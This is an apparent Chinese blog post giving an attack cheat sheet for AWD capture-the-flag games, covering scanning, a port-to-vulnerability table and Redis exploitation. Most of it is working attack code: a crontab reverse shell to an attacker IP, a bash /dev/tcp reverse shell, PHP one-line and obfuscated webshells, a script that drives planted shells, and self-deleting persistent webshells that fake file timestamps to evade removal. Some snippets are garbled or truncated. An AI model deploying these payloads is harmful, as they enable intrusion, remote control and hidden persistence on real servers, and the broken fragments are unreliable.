剑气美人月光剑气长城

AWD(攻击)

Toretto·2024-12-10 10:34·11 次阅读

AWD(攻击)

AWD(攻击)

1.信息探测#

Copy
namp -sn 192.168.0.0/24 //C段存活扫描 nmap -sS 10.16.10.0/24 //存活探测 nmap 10.16.10.19 -p 1-65535 //端口探测 服务探测 获取靶机开发语言,系统名称和版本
Copy
import requests//脚本 for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass

组件检索

Copy
find / -name "apaech2.conf" #检索apache主配置文件 find / -name "nginx.conf" #检索nginx目录 find / -path "*nginx*" -name nginx*conf #检索nginx配置目录 find / -name "httpd.conf" #检索apache目录 find / -path "*apache*" -name apache*conf #检索apache配置目录

网站首页

Copy
find / -name "index.php" #定位网站目

主机嗅探

C段存活扫描

nmap

Copy
namp -sn 192.168.0.0/24

httpscan

Copy
httpscan.py 192.168.0.0/24 –t 10

端口扫描

Copy
nmap -sV 192.168.0.2 #扫描主机系统版本 nmap -sS 192.168.0.2 #扫描主机常用端口 nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口 nmap -sS -p- 192.168.0.2 #扫描主机全部端口

nmap官方文档:
https://nmap.org/man/zh/man-host-discovery.html

httpscan工具:
https://github.com/zer0h/httpscan

python脚本

Copy
import requests for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass

关键文件检索

组件检索

Copy
find / -name "apaech2.conf" #检索apache主配置文件 find / -name "nginx.conf" #检索nginx目录 find / -path "*nginx*" -name nginx*conf #检索nginx配置目录 find / -name "httpd.conf" #检索apache目录 find / -path "*apache*" -name apache*conf #检索apache配置目录

网站首页

Copy
find / -name "index.php" #定位网站目录

日志文件检索

Copy
/var/log/nginx/ #默认Nginx日志目录 /var/log/apache/ #默认Apache日志目录 /var/log/apache2/ #默认Apache日志目录 /usr/local/tomcat/logs #Tomcat日志目录 tail -f xxx.log #实时刷新滚动日志文件

2.攻击分析#

端口号 端口说明 相关漏洞
21 FTP文件传输协议 允许匿名的上传、下载、爆破和嗅探操作
22 SSH远程连接 爆破、SSH隧道及内网代理转发、文件传输
23 Telnet远程连接 爆破、嗅探、弱口令
25 SMTP邮件服务 邮件伪造
53 DNS域名服务器 允许区域传送、DNS劫持、缓存投毒、欺骗、CVE-2020-1350
67、68 DHCP服务 劫持、欺骗
69 小型文件传输协议 允许匿名的上传、下载、爆破和嗅探操作
80 常见web服务端口 web攻击、爆破、对应服务器版本漏洞
110 POP3协议 嗅探、爆破
139 SAMBA服务 爆破、未授权访问、远程代码执行
143 IMAP协议 爆破
161 SNMP协议 爆破、搜集目标内网信息
389 LDAP目录访问协议 注入、允许匿名访问、弱口令
443 常见web端口 web攻击、爆破、对应服务器版本漏洞
445 Microsoft-DS,为共享开放 代码执行、ms06-040、0796等
512/513/514 Linux rexec服务 爆破、远程登录
873 rsync服务 匿名访问、文件上传
1352 Lotus Domino邮件服务 弱口令、信息泄露、爆破
1433 MSSQL数据库 注入、提权、SA弱口令、爆破
1521 Oracle数据库 TNS爆破、注入、反弹shell
2049 NFS服务 配置不当
2181 ZooKeeper服务 未授权访问
3306 Mysql数据库 注入、提权、爆破
3389 RDP远程端口连接 shift后门、爆破、ms12-020、CVE-2019-0708
3690 SVN服务 SVN泄露、未授权访问
4848 GlassFish控制台 弱口令
5000 Sysbase/DB2数据库 爆破、注入
5432 PostgreSQL数据库 爆破、注入、弱口令
5632 PcAnywhere服务 抓取密码、代码执行
5900 VNC 弱口令爆破
5984 CouchDB 未授权访问
6379 Redis数据库 可尝试为授权访问、弱口令爆破
7001/7002 WebLogic控制台 反序列化、控制台弱口令
8009 Tomcat AJP协议 Tomcat AJP协议漏洞
8069 Zabbix服务 远程执行、SQL注入
8080、8089 JBoss/Resin/Jetty/Jenkins/tomcat 反序列化、控制台弱口令
8888 jupyter notebook 未授权访问
9090 WebSphere控制台 Java反序列化、弱口令
9200、9300 Elasticsearch服务 远程执行
10000 webmin控制面板 弱口令
11211 Memcached服务 未授权访问
27017/27018 MongoDB数据库 爆破、未授权访问
50000 SAP Management Console 远程执行
50050 CS 弱口令

未授权访问端口利用#

(1)Redis

因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行 flushall 来清空所有数据。如果 Redis 以 root 身份运行,可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录受害服务器

1、利用计划任务执行命令反弹shell

在 redis 以 root 权限运行时可以写 crontab 来执行命令反弹shell

先在自己的服务器上监听一个端口

Copy
nc -lvnp 4444

然后执行命令:

Copy
redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save

2、写 ssh-keygen 公钥登录服务器

在以下条件下,可以利用此方法

  1. Redis服务使用 root 账号启动
  2. 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

3、获取 web 服务的 webshell

当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell。

执行以下命令

Copy
config set dir /var/www/html/ config set dbfilename shell.php set x "<?php @eval($_POST['caidao']);?>" save

即可将 shell 写入 web 目录

  1. 漏洞加固

可以配置 redis.conf 这个文件,在安装目录下

1、默认只对本地开放
bind 127.0.0.1

2、添加登陆密码
requirepass www.secpulse.com

3、在需要对外开放的时候修改默认端口
port 2333

权限维持#

隐藏shell.php#

Copy
mv shell.php .shell.php //使用ls 无法看见。必须使用 ls -al

命名为“-shell.php” 使用正常rm命令无法删除

反弹shell#

Copy
bash -i >& /dev/tcp/192.168.182.130/6666 0>&1

上传后门#

Copy
#coding=utf-8 import requests url_head="http://192.168.182.130" #网段 url="" shell_addr="/upload/url/shell.php" #木马路径 passwd="pass" #木马密码 #port="80" payload = {passwd: 'System(\'cat /flag\');'} # find / -name "flag*" #清空上次记录 flag=open("flag.txt","w") flag.close() flag=open("flag.txt","a") for i in range(8000,8004): url=url_head+":"+str(i)+shell_addr try: res=requests.post(url,payload)#,timeout=1 if res.status_code == requests.codes.ok: result = res.text print (result) flag.write(result+"\n") else: print ("shell 404") except: print (url+" connect shell fail") flag.close()

常见一句话木马#

Copy
php: <?php @eval($_POST['pass']);?> <?php ?>

连接方式:php?2=assert密码是1。

shell2:

Copy
<?php $a=chr( 96^5); $b=chr( 57^79); $c=chr( 15^110); $d=chr( 58^86); $e= '($_REQUEST[C])'; @assert($a.$b.$c.$d.$e); ?>

配置为?b=))99(rhC(tseuqeR+lave

shell3:

Copy
<?php ?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)

shell4:MD5木马

比赛时有的队伍批量种马,但被攻击的服务却可以通过分析本地的木马,然后去连接其他服务器内的相同木马获取flag。

md5验证木马由此产生。防止其他队伍进行分析。

Copy
<?php if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')//rcoil @eval($_POST['cmd']); ?>

shell5:MD5木马+利用header

Copy
<?php echo 'hello'; if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')//rcoil if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){ //@符号" 是用于抑制错误报告,如果该行代码产生了错误,错误信息不会显示出来。 $test= 'flag'; header("flag:$test"); } ?>

shell 6:IP验证木马

Copy
<?php ?> @$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r'; @$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t'; @$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

shell8:混淆马2

Copy
<?php //$_POST[0]($_POST[1]); @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // ?>

不死马#

简单不死马

Copy
<?php ?>'); //创建shell.php sleep(0); //间隔时间 }

对付这种木马,目前最有效的办法就是重启PHP服务器。

但在awd模式下,一般无权限,

可以通过不断复写shell.php来达到该木马难以被使用的效果

Copy
<?php set_time_limit(0); // 取消脚本运行时间的超时上限 ignore_user_abort(1); // 后台运行 while(1) { file_put_contents('shell.php','11111111'); //创建shell.php sleep(0); }

进阶不死马

Copy
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = 'shell.php'; $code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST['cmd']);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" shell2.php');//修改时间,防止被删 usleep(5000); } ?> #passwd=y0range857 #POST传参:passwd=y0range857&a=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件

写入shell, yj.php内容

Copy
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.login.php'; $file1 = '/admin/.register.php'; $code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["at"]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .login.php'); file_put_contents($file1,$code); system('touch -m -d "2018-12-01 09:10:12" /admin/.register.php'); usleep(5000); } ?>

浏览器访问yj.php,会生成不死马.login.php /admin/.register.php

Copy
<?php ignore_user_abort(true); #客户机断开依旧执行 set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。 unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用。 $file = '2.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .2.php'); usleep(5000); } ?>

2、隐藏的文件读取

Copy
<?php header(php'flag:'.file_get_contents('/tmp/flag'));
posted @   rong_yan  阅读(11)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示
目录